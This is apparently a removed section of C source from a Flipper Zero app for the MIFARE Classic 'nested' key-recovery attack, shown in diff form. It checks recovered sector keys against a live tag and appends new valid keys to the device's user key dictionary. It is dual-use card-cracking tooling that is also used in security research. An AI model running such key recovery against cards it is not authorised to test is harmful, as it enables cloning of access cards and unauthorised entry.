|
-
|
|
|
-void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
|
|
|
- Stream* file_stream = file_stream_alloc(storage);
|
|
|
- file_stream_open(
|
|
|
- file_stream,
|
|
|
- EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
|
|
|
- FSAM_READ_WRITE,
|
|
|
- FSOM_OPEN_APPEND);
|
|
|
-
|
|
|
- stream_write_string(file_stream, key);
|
|
|
-
|
|
|
- file_stream_close(file_stream);
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- KeyInfo_t* key_info = mifare_nested_worker->context->keys;
|
|
|
- Storage* storage = furi_record_open(RECORD_STORAGE);
|
|
|
- Stream* file_stream = file_stream_alloc(storage);
|
|
|
- FuriString* next_line = furi_string_alloc();
|
|
|
- FuriString* path = furi_string_alloc();
|
|
|
- FuriHalNfcDevData data = {};
|
|
|
- nested_get_data(&data);
|
|
|
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
|
|
|
- NestedCheckKeyResult result = NestedCheckKeyNoTag;
|
|
|
- FuriHalNfcTxRxContext tx_rx = {};
|
|
|
- uint32_t key_count = 0;
|
|
|
- uint32_t sector_key_count = 0;
|
|
|
- uint64_t keys[80];
|
|
|
- bool found_keys[2][40];
|
|
|
- bool unique_keys[2][40];
|
|
|
- uint32_t sector_count = 0;
|
|
|
-
|
|
|
- if(type == MfClassicType4k) {
|
|
|
- sector_count = 40;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
|
|
|
- } else if(type == MfClassicType1k) {
|
|
|
- sector_count = 16;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
|
|
|
- } else { // if(type == MfClassicTypeMini)
|
|
|
- sector_count = 5;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
|
|
|
- }
|
|
|
-
|
|
|
- uint32_t keys_count = sector_count * 2;
|
|
|
-
|
|
|
- for(uint8_t key = 0; key < 2; key++) {
|
|
|
- for(uint8_t i = 0; i < sector_count; i++) {
|
|
|
- found_keys[key][i] = false;
|
|
|
- unique_keys[key][i] = false;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- for(uint8_t i = 0; i < keys_count; i++) {
|
|
|
- keys[i] = -1;
|
|
|
- }
|
|
|
-
|
|
|
- mifare_nested_worker_get_found_keys_file_path(&data, path);
|
|
|
-
|
|
|
- if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
|
|
|
- FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
|
|
|
-
|
|
|
- file_stream_close(file_stream);
|
|
|
-
|
|
|
- mifare_nested_worker_get_nonces_file_path(&data, path);
|
|
|
-
|
|
|
- if(!file_stream_open(
|
|
|
- file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
|
|
|
- } else {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
|
|
|
- }
|
|
|
-
|
|
|
- file_stream_close(file_stream);
|
|
|
-
|
|
|
- free(file_stream);
|
|
|
- furi_string_free(path);
|
|
|
- furi_string_free(next_line);
|
|
|
- furi_record_close(RECORD_STORAGE);
|
|
|
-
|
|
|
- return;
|
|
|
- };
|
|
|
-
|
|
|
- while(true) {
|
|
|
- if(!stream_read_line(file_stream, next_line)) {
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- if(furi_string_start_with_str(next_line, "Key")) {
|
|
|
- uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
|
|
|
- uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
|
|
|
- atoi((char[]){furi_string_get_char(next_line, 14)});
|
|
|
-
|
|
|
- if(!unique_keys[key_type][sector]) {
|
|
|
- unique_keys[key_type][sector] = true;
|
|
|
- sector_key_count++;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- key_count++;
|
|
|
- }
|
|
|
-
|
|
|
- stream_rewind(file_stream);
|
|
|
-
|
|
|
- key_info->total_keys = key_count;
|
|
|
- key_info->sector_keys = sector_key_count;
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
|
|
|
- if(!stream_read_line(file_stream, next_line)) {
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- if(furi_string_start_with_str(next_line, "Key")) {
|
|
|
- // Key X sector XX: XX XX XX XX XX XX
|
|
|
- // 0000000000111111111122222222223333
|
|
|
- // 0123456789012345678901234567890123
|
|
|
- uint8_t keyChar[6];
|
|
|
- uint8_t count = 0;
|
|
|
-
|
|
|
- uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
|
|
|
- uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
|
|
|
- atoi((char[]){furi_string_get_char(next_line, 14)});
|
|
|
-
|
|
|
- for(uint8_t i = 17; i < 33; i += 3) {
|
|
|
- hex_char_to_uint8(
|
|
|
- furi_string_get_char(next_line, i),
|
|
|
- furi_string_get_char(next_line, i + 1),
|
|
|
- &keyChar[count]);
|
|
|
- count++;
|
|
|
- }
|
|
|
-
|
|
|
- uint64_t key = nfc_util_bytes2num(keyChar, 6);
|
|
|
-
|
|
|
- key_info->checked_keys++;
|
|
|
-
|
|
|
- if(found_keys[key_type][sector]) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
|
|
|
- result = nested_check_key(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
|
|
|
-
|
|
|
- if(result == NestedCheckKeyNoTag) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
|
|
|
-
|
|
|
- furi_delay_ms(250);
|
|
|
- } else {
|
|
|
- break;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(result == NestedCheckKeyValid) {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
|
|
|
- bool exists = false;
|
|
|
-
|
|
|
- for(uint8_t i = 0; i < keys_count; i++) {
|
|
|
- if(keys[i] == key) {
|
|
|
- exists = true;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(!exists) {
|
|
|
- keys[key_info->found_keys] = key;
|
|
|
- }
|
|
|
-
|
|
|
- key_info->found_keys++;
|
|
|
- found_keys[key_type][sector] = true;
|
|
|
- }
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_free(next_line);
|
|
|
- file_stream_close(file_stream);
|
|
|
- free(file_stream);
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
|
|
|
-
|
|
|
- bool* old_keys = mifare_nested_worker_check_keys_exists(
|
|
|
- storage,
|
|
|
- EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
|
|
|
- keys,
|
|
|
- keys_count,
|
|
|
- mifare_nested_worker);
|
|
|
-
|
|
|
- for(uint8_t i = 0; i < keys_count; i++) {
|
|
|
- if(old_keys[i]) {
|
|
|
- keys[i] = -1;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- old_keys = mifare_nested_worker_check_keys_exists(
|
|
|
- storage,
|
|
|
- EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
|
|
|
- keys,
|
|
|
- keys_count,
|
|
|
- mifare_nested_worker);
|
|
|
-
|
|
|
- for(uint8_t i = 0; i < keys_count; i++) {
|
|
|
- if(old_keys[i]) {
|
|
|
- keys[i] = -1;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- for(uint8_t i = 0; i < keys_count; i++) {
|
|
|
- if(keys[i] == (uint64_t)-1) continue;
|
|
|
-
|
|
|
- FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
|
|
|
-
|
|
|
- mifare_nested_worker_write_key(storage, key_string);
|
|
|
- FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
|
|
|
-
|
|
|
- key_info->added_keys++;
|
|
|
-
|
|
|
- furi_string_free(key_string);
|
|
|
- }
|
|
|
-
|
|
|
- if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
|
|
|
- FURI_LOG_E(TAG, "Failed to remove .keys file");
|
|
|
- }
|
|
|
-
|
|
|
- furi_record_close(RECORD_STORAGE);
|
|
|
- furi_string_free(path);
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
|
|
|
-
|
|
|
- return;
|
|
|
-}
|